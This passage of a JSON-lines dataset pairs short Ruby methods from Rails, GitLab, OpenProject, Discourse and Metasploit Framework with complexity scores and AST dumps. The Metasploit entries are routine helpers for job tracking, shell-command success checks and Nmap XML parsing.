end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"optional_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationSettingsHelper\"]},\"visible_attributes\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationSettingsHelper\"]},\"external_authorization_service_attributes\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationSettingsHelper\"]},\"deprecated_attributes\"]}]},{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_id\"]},{\"type\":\"sym\",\"children\":[\"throttle_unauthenticated_web_enabled\"]},{\"type\":\"sym\",\"children\":[\"throttle_unauthenticated_web_period_in_seconds\"]},{\"type\":\"sym\",\"children\":[\"throttle_unauthenticated_web_requests_per_period\"]}]},\"freeze\"]}]}","id":"761c7783-48b8-420f-9b17-b005de091b4a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_job_status_tracker.rb","start_line":75,"raw_source":"def result_ids\n        synchronize do\n          results.keys\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"result_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"results\"]},\"keys\"]}]}]}","id":"f0ab4249-7b61-4daf-bb76-6e63d2b194f0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/time_entry_row.rb","start_line":60,"raw_source":"def spent_on\n        format_time(time_entry.spent_on)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"spent_on\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entry\"]},\"spent_on\"]}]}]}","id":"cdd4f592-5120-4abf-9d3d-89b87bc12b96"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb","start_line":309,"raw_source":"def disable_referential_integrity # :nodoc:\n        old_foreign_keys = query_value(\"PRAGMA foreign_keys\")\n        old_defer_foreign_keys = query_value(\"PRAGMA defer_foreign_keys\")\n\n        begin\n          execute(\"PRAGMA defer_foreign_keys = ON\")\n          execute(\"PRAGMA foreign_keys = OFF\")\n          yield\n        ensure\n          execute(\"PRAGMA defer_foreign_keys = #{old_defer_foreign_keys}\")\n          execute(\"PRAGMA foreign_keys = #{old_foreign_keys}\")\n        end\n      end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_referential_integrity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_foreign_keys\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"str\",\"children\":[\"PRAGMA foreign_keys\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_defer_foreign_keys\",{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"str\",\"children\":[\"PRAGMA defer_foreign_keys\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"PRAGMA defer_foreign_keys = ON\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"PRAGMA foreign_keys = OFF\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PRAGMA defer_foreign_keys = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_defer_foreign_keys\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PRAGMA foreign_keys = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_foreign_keys\"]}]}]}]}]}]}]}]}]}","id":"547ddb4e-48b5-439f-a34d-69bf0e930c4f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":254,"raw_source":"def refresh_permissions\n      # This ensures we only schedule 1 job for every user that has access to\n      # the namespaces.\n      user_ids = @old_namespace.user_ids_for_project_authorizations |\n        @new_namespace.user_ids_for_project_authorizations\n\n      AuthorizedProjectUpdate::ProjectRecalculateWorker.perform_async(project.id)\n\n      # Until we compare the inconsistency rates of the new specialized worker and\n      # the old approach, we still run AuthorizedProjectsWorker\n      # but with some delay and lower urgency as a safety net.\n      if Feature.enabled?(:project_authorizations_update_in_background_in_transfer_service, project)\n        AuthorizedProjectUpdate::EnqueueUsersRefreshAuthorizedProjectsWorker.perform_async(user_ids)\n      else\n        UserProjectAccessChangedService.new(user_ids).execute(\n          priority: UserProjectAccessChangedService::LOW_PRIORITY\n        )\n      end\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@old_namespace\"]},\"user_ids_for_project_authorizations\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@new_namespace\"]},\"user_ids_for_project_authorizations\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorizedProjectUpdate\"]},\"ProjectRecalculateWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"project_authorizations_update_in_background_in_transfer_service\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorizedProjectUpdate\"]},\"EnqueueUsersRefreshAuthorizedProjectsWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProjectAccessChangedService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProjectAccessChangedService\"]},\"LOW_PRIORITY\"]}]}]}]}]}]}]}","id":"14f26a78-56ea-4dba-9bd1-43d514734205"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":1104,"raw_source":"def _shell_command_with_success_code(cmd)\n    token = \"_#{::Rex::Text.rand_text_alpha(32)}\"\n    result = session.shell_command_token(\"#{cmd} && echo #{token}\")\n\n    return result&.include?(token)\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"_shell_command_with_success_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[32]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"shell_command_token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" && echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}","id":"9799855b-4c13-473a-a26b-afb77a3d6f8d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":143,"raw_source":"def test_default_scope_doesnt_run_on_update\n    Mentor.create!\n    dev = DeveloperwithDefaultMentorScopeNot.create!(name: \"Eileen\")\n    update_sql = capture_sql { dev.update!(name: \"Not Eileen\") }.first\n\n    assert_no_match(/mentor_id/, update_sql)\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scope_doesnt_run_on_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mentor\"]},\"create!\"]},{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperwithDefaultMentorScopeNot\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Eileen\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"update_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Not Eileen\"]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mentor_id\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"update_sql\"]}]}]}]}","id":"0c8c71e6-b994-4b33-b684-6c32a426410c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":41,"raw_source":"def start_element(name=nil,attrs=[])\n      attrs = normalize_attrs(attrs)\n      block = @block\n      @state[:current_tag][name] = true\n      case name\n      when \"status\"\n        record_host_status(attrs)\n      when \"address\"\n        record_address(attrs)\n      when \"osclass\"\n        record_host_osclass(attrs)\n      when \"osmatch\"\n        record_host_osmatch(attrs)\n      when \"uptime\"\n        record_host_uptime(attrs)\n      when \"hostname\"\n        record_hostname(attrs)\n      when \"port\"\n        record_port(attrs)\n      when \"state\"\n        record_port_state(attrs)\n      when \"service\"\n        record_port_service(attrs)\n      when \"script\"\n        record_port_script(attrs)\n        record_host_script(attrs)\n        record_vuln_script(attrs)\n        # Ignoring post scripts completely\n      when \"table\"\n        record_vuln_table(attrs)\n      when \"elem\"\n        record_vuln_values(attrs)\n      when \"trace\"\n        record_host_trace(attrs)\n      when \"hop\"\n        record_host_hop(attrs)\n      end\n    end","complexity_score":42.6,"ast_json":"{\"type\":\"def\",\"children\":[\"start_element\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"attrs\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[null,\"normalize_attrs\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"ivar\",\"children\":[\"@block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_tag\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[null,\"record_host_status\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[null,\"record_address\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"osclass\"]},{\"type\":\"send\",\"children\":[null,\"record_host_osclass\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"osmatch\"]},{\"type\":\"send\",\"children\":[null,\"record_host_osmatch\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"uptime\"]},{\"type\":\"send\",\"children\":[null,\"record_host_uptime\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hostname\"]},{\"type\":\"send\",\"children\":[null,\"record_hostname\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"record_port\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[null,\"record_port_state\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[null,\"record_port_service\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"script\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_port_script\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[null,\"record_host_script\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"send\",\"children\":[null,\"record_vuln_script\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"table\"]},{\"type\":\"send\",\"children\":[null,\"record_vuln_table\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"elem\"]},{\"type\":\"send\",\"children\":[null,\"record_vuln_values\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"trace\"]},{\"type\":\"send\",\"children\":[null,\"record_host_trace\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"hop\"]},{\"type\":\"send\",\"children\":[null,\"record_host_hop\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},null]}]}]}","id":"538e4890-aa22-448f-8bb4-a2282ec300b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/create_pipeline_service/tags_spec.rb","start_line":145,"raw_source":"def stub_yaml_config(config)\n    stub_ci_pipeline_yaml_file(YAML.dump(config))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_yaml_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[null,\"stub_ci_pipeline_yaml_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}","id":"ba1c156a-c364-4ffd-a3b1-fcc0861654d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240821183928_add_fk_to_security_policy_requirements_on_requirement_id.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists :security_policy_requirements, column: :compliance_requirement_id,\n        reverse_lock_order: true\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"security_policy_requirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"compliance_requirement_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"e4fee6d6-c279-4525-b80e-82ee8f3a3ce4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/testing/resolvers.rb","start_line":21,"raw_source":"def to_s\n      @hash.keys.join(\", \")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"f37a90bd-e6ec-4b61-a645-d99a97dce0dc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":8,"raw_source":"def test_pool_config_works_without_deprecation\n        config = HashConfig.new(\"default_env\", \"primary\", pool: 6, adapter: \"abstract\")\n        assert_equal 6, config.max_connections\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_pool_config_works_without_deprecation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"max_connections\"]}]}]}]}","id":"35bd17a4-398c-4810-8d87-385ee0107124"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/recurring_meetings/table_component.rb","start_line":79,"raw_source":"def headers\n      @headers ||= [\n        [:start_time, { caption: I18n.t(:label_meeting_date_and_time) }],\n        [:relative_time, { caption: I18n.t(\"recurring_meeting.starts\") }],\n        [:status, { caption: Meeting.human_attribute_name(:status) }],\n        [:create, { caption: \"\" }]\n      ].compact\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_meeting_date_and_time\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"recurring_meeting.starts\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meeting\"]},\"human_attribute_name\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caption\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},\"compact\"]}]}]}","id":"53d36b57-7184-4a6e-beb8-6f18c92f9580"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/builder/pipeline.rb","start_line":41,"raw_source":"def predefined_pipeline_variables\n            Gitlab::Ci::Variables::Collection.new.tap do |variables|\n              variables.append(key: 'CI_PIPELINE_IID', value: pipeline.iid.to_s)\n              variables.append(key: 'CI_PIPELINE_SOURCE', value: pipeline.source.to_s)\n              variables.append(key: 'CI_PIPELINE_CREATED_AT', value: pipeline.created_at&.iso8601)\n              variables.append(key: 'CI_PIPELINE_NAME', value: pipeline.name)\n\n              if pipeline.pipeline_schedule\n                variables.append(key: 'CI_PIPELINE_SCHEDULE_DESCRIPTION', value: pipeline.pipeline_schedule.description)\n              end\n            end\n          end","complexity_score":35.8,"ast_json":"{\"type\":\"def\",\"children\":[\"predefined_pipeline_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Variables\"]},\"Collection\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PIPELINE_IID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"iid\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PIPELINE_SOURCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"source\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PIPELINE_CREATED_AT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"created_at\"]},\"iso8601\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PIPELINE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"pipeline_schedule\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"append\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CI_PIPELINE_SCHEDULE_DESCRIPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"pipeline_schedule\"]},\"description\"]}]}]}]},null]}]}]}]}","id":"53bd5bf0-4d2a-429d-9175-5314da23427b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/app/serializers/user_note_serializer.rb","start_line":16,"raw_source":"def id\n    object[:id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"2d8150ae-b284-4d1b-86f5-e1d4c5590d8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/gitlab/bitbucket_server_import/object_importer.rb","start_line":54,"raw_source":"def import(project, hash)\n        info(project.id, message: 'importer started')\n\n        importer_class.new(project, hash).execute\n\n        info(project.id, message: 'importer finished')\n      rescue ActiveRecord::RecordInvalid => e\n        # We do not raise exception to prevent job retry\n        track_exception(project, e)\n      rescue StandardError => e\n        track_and_raise_exception(project, e)\n      end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"importer started\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"importer_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"importer finished\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"track_exception\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"track_and_raise_exception\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"3e7e1b7f-7303-4c3c-8a98-a2192436239e"}
